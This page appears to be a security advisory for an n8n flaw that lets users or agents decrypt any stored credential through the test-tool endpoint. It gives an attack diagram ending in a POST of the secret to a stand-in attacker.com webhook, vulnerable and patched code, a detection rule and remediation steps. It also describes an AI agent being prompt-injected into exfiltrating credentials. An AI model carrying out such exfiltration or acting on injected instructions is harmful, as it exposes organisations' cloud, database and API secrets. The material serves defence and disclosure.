Skip to content

CVE-2026-103246: n8n Node-Tool Introspection Missing Credential Ownership Check Secret Exfiltration

Density:
HASS

HERMES AGENTIC SECURITY SCORE & WORKFLOW EXPOSURE

Target: n8n AI Agent Node-Tool Introspection Engine (resolveCredentialForNode)
Confidence: 98%
94 / 100
CRITICAL

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown
Autonomy 18 / 20
Tool Access 20 / 20
Privilege 14 / 15
Persistence 12 / 15
External Impact 15 / 15
Propagation 15 / 15
โš–๏ธ Divergence & Operational Rationale

Standard CVSS v3.1 rates this vulnerability at 8.3 (High) due to authenticated prerequisites. The Hermes Threat Score (HTS) elevates it to 91 (CRITICAL) and the Hermes Agentic Security Score (HASS) rates it at 94 (CRITICAL). n8n serves as the enterprise orchestration backbone connecting LLM agent chains, internal APIs, customer data, and cloud infrastructure. By exploiting unverified credential resolution during node-tool introspection, an autonomous AI agent subjected to indirect prompt injection or an unprivileged user can access any encrypted secret in the database regardless of tenant or project boundaries, pivoting into production databases, cloud platforms, and third-party SaaS APIs.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-103246: n8n Node-Tool Introspection Missing Credential Ownership Check Secret ExfiltrationVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTn8n Workflow Automation
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in n8n Workflow Automation documented in Hermes dossier.”

Supporting Verified Evidence:

n8n is a fair-code, node-based workflow automation platform capable of orchestrating complex business processes, API interactions, and autonomous LLM agent execution pipelines.

ParameterTechnical SpecificationOperational Impact
CVE IdentifierCVE-2026-103246Global tracking reference
Advisory SourceVulnCheck Exploit Intelligence AdvisoryWeaponized exploit tracking (October 2, 2026)
Vulnerability ClassInformation Disclosure (CWE-200), Improper Authorization (CWE-285), Missing Authorization (CWE-862)Cross-tenant credential exfiltration
Affected ComponentsNode-Tool Introspection Controller (resolveCredentialForNode, /rest/nodes/test-tool)Dynamic tool schema resolution & agent credential binding
Affected Versionsn8n < 1.123.80, 2.0.0 - 2.39.5, 2.40.0All multi-user and agentic deployments
Fixed Versions1.123.80, 2.39.6, 2.40.1Mandatory project ownership & RBAC validation
Operational ImpactEnterprise-Wide Credential CompromiseAWS/GCP keys, database passwords, OAuth tokens exfiltrated

The Flaw: Missing Ownership Checks in Dynamic Tool Resolution

Section titled โ€œThe Flaw: Missing Ownership Checks in Dynamic Tool Resolutionโ€

When designing an autonomous AI Agent in n8n, sub-nodes are designated as tools (e.g., a โ€œPostgreSQL Toolโ€ or โ€œHTTP Request Toolโ€ callable by the agent). During workflow execution or testing within the web editor, the agent engine queries the backend to determine what credentials the tool requires and requests decrypted values for execution:

MALICIOUS WORKFLOW / ROGUE AGENT N8N BACKEND SERVER (NODE CONTROLLER) N8N ENCRYPTED DATABASE
โ”‚ โ”‚ โ”‚
โ”‚ 1. Connect Tool with arbitrary credentialId: โ”‚ โ”‚
โ”‚ POST /rest/nodes/test-tool โ”‚ โ”‚
โ”‚ { "nodeType": "httpRequestTool", โ”‚ โ”‚
โ”‚ "credentials": { "httpHeaderAuth": "99" } โ”‚ โ”‚
โ”‚ } โ”‚ โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€>โ”‚ โ”‚
โ”‚ โ”‚ 2. Query Credential Record: โ”‚
โ”‚ โ”‚ SELECT * FROM credentials โ”‚
โ”‚ โ”‚ WHERE id = '99'; โ”‚
โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€>โ”‚
โ”‚ โ”‚ Returns Encrypted Data (Blob) โ”‚
โ”‚ โ”‚<โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ โ”‚ โ”‚
โ”‚ โ”‚ 3. Decrypt with N8N_ENCRYPTION_KEY: โ”‚
โ”‚ โ”‚ NO check: Does user own ID 99? โ”‚
โ”‚ โ”‚ NO check: Is ID 99 shared? โ”‚
โ”‚ โ”‚ Decryption succeeds! โ”‚
โ”‚ โ”‚ โ”‚
โ”‚ โ”‚ 4. Tool Execution Context Populated: โ”‚
โ”‚ โ”‚ Secret injected into node runtime โ”‚
โ”‚ โ”‚ โ”‚
โ”‚ 5. Tool Sends Secret to Attacker Webhook: โ”‚ โ”‚
โ”‚ POST https://attacker.com/sink โ”‚ โ”‚
โ”‚ Header: Authorization: Bearer <PLAINTEXT> โ”‚ โ”‚
โ”‚<โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ Plaintext Master AWS / Stripe / DB Secret Captured by Attacker โ”‚

Because n8n uses integer or sequential UUID identifiers for credentials stored in the credentials_entity table, an unprivileged user can iterate over IDs 1 through 1000. By attaching each ID to a test tool node configured to forward parameters to an external endpoint, the attacker can harvest all organization credentials in seconds.

// Vulnerable controller logic in n8n/packages/cli/src/controllers/nodes.controller.ts (<= 2.39.5)
import { CredentialsRepository } from '@n8n/database';
import { decryptCredentialData } from '@n8n/core';
export async function resolveCredentialForNode(
userId: string,
credentialId: string,
credentialType: string
): Promise<Record<string, unknown>> {
// Fetch credential directly by ID
const credential = await CredentialsRepository.findById(credentialId);
if (!credential) {
throw new NotFoundError(`Credential ${credentialId} not found`);
}
// VULNERABILITY (CWE-862): No ownership or project permission check!
// It fails to check if 'credential.projectId' matches the user's project,
// or if 'credential.sharedWith' includes the requesting user!
// Decrypts directly using system-wide master key
const decryptedData = decryptCredentialData(
credential.data,
process.env.N8N_ENCRYPTION_KEY
);
return decryptedData;
}
// Patched implementation enforcing strict project authorization and RBAC
import { CredentialsRepository, ProjectRepository } from '@n8n/database';
import { decryptCredentialData, ForbiddenError } from '@n8n/core';
export async function resolveCredentialForNodePatched(
userId: string,
projectId: string,
credentialId: string,
credentialType: string
): Promise<Record<string, unknown>> {
const credential = await CredentialsRepository.findById(credentialId);
if (!credential) {
throw new NotFoundError(`Credential ${credentialId} not found`);
}
// REMEDIATION (CWE-285): Enforce strict project and user sharing validation
const hasAccess = await ProjectRepository.hasCredentialAccess(
projectId,
userId,
credentialId
);
if (!hasAccess) {
logger.warn(`Unauthorized credential access attempt by user ${userId} for credential ${credentialId}`);
throw new ForbiddenError(
`User does not have access permissions for credential ${credentialId}`
);
}
// Validate that credential type matches the tool's expected schema
if (credential.type !== credentialType) {
throw new ValidationError(`Credential type mismatch`);
}
const decryptedData = decryptCredentialData(
credential.data,
process.env.N8N_ENCRYPTION_KEY
);
return decryptedData;
}

VulnCheck threat intelligence notes that this vulnerability presents high utility in both insider threat and autonomous agent compromise models:

  1. Multi-Tenant / Shared Instance Privilege Escalation: In corporate settings where developers share an n8n instance partitioned into projects, a junior developer or contractor in a staging workspace can query credentials belonging to the production infrastructure team.
  2. Autonomous Agent Prompt Injection Pivoting: An AI Agent connected to an external communication channel (such as a customer support chat or email ingestor) is susceptible to indirect prompt injection. If an adversary instructs the agent to configure an ad-hoc diagnostic tool and test it against credential ID 1, the agent itself can exfiltrate production secrets to the attackerโ€™s server without the attacker ever holding credentials on the n8n platform.
  3. Automated Credential Harvester Scripts: Adversaries utilize simple Python or curl loops against the /rest/nodes/test-tool endpoint to cycle through numeric credential IDs, assembling an inventory of active cloud tokens.

Security teams should audit n8n access logs and database audit records for credential access anomalies.

title: n8n Potential Cross-Project Credential Introspection Enumeration (CVE-2026-103246)
id: c4e91032-46a2-4a92-8174-85cbe103246c
status: experimental
description: Detects rapid sequential requests to n8n tool test and credential introspection endpoints indicative of credential harvesting.
author: Hermes Codex Cyber Intelligence
date: 2026-10-02
references:
- https://vulncheck.com/advisories/n8n-before-2.39.6-and-2.40-x-before-2.40.1-credential-disclosure-via-node-tool-introspection
- https://nvd.nist.gov/vuln/detail/CVE-2026-103246
logsource:
category: webserver
product: n8n
detection:
selection:
cs-uri-stem|contains:
- '/rest/nodes/test-tool'
- '/rest/credentials/'
cs-method: 'POST'
timeframe: 1m
condition: selection | count() by c-ip > 10
fields:
- c-ip
- cs-method
- cs-uri-stem
- sc-status
falsepositives:
- Legitimate batch workflow migrations initiated by administrative scripts
level: high
tags:
- attack.credential_access
- attack.t1552
- attack.privilege_escalation
- attack.t1068
- cve.2026.103246

  1. Upgrade n8n to Secure Releases Immediately:
    Update your n8n deployments to one of the patched versions:

    • For 1.x series: Upgrade to n8n 1.123.80 or higher.
    • For 2.39.x series: Upgrade to n8n 2.39.6 or higher.
    • For 2.40.x series: Upgrade to n8n 2.40.1 or higher.
  2. Audit and Rotate Sensitive Enterprise Credentials:
    If unprivileged users or public-facing agents operated on the instance prior to patching, assume credential IDs could have been resolved. Rotate third-party secrets stored within n8n:

    • Cloud provider access keys (AWS IAM, GCP Service Accounts).
    • Database connection passwords (PostgreSQL, MySQL, MongoDB).
    • SaaS tokens (Stripe, GitHub PATs, Slack Bot tokens).
  3. Segment Multi-Tenant Agent Environments:
    Avoid hosting sensitive production credentials on instances where untrusted users or autonomous conversational agents have node execution privileges. Deploy dedicated, containerized n8n instances per department with independent N8N_ENCRYPTION_KEY variables.

  4. Restrict Network Egress for AI Worker Nodes:
    Implement outbound firewall or security group rules on n8n runners, allowing outbound HTTP requests only to pre-approved API endpoints to prevent secret exfiltration to rogue endpoints.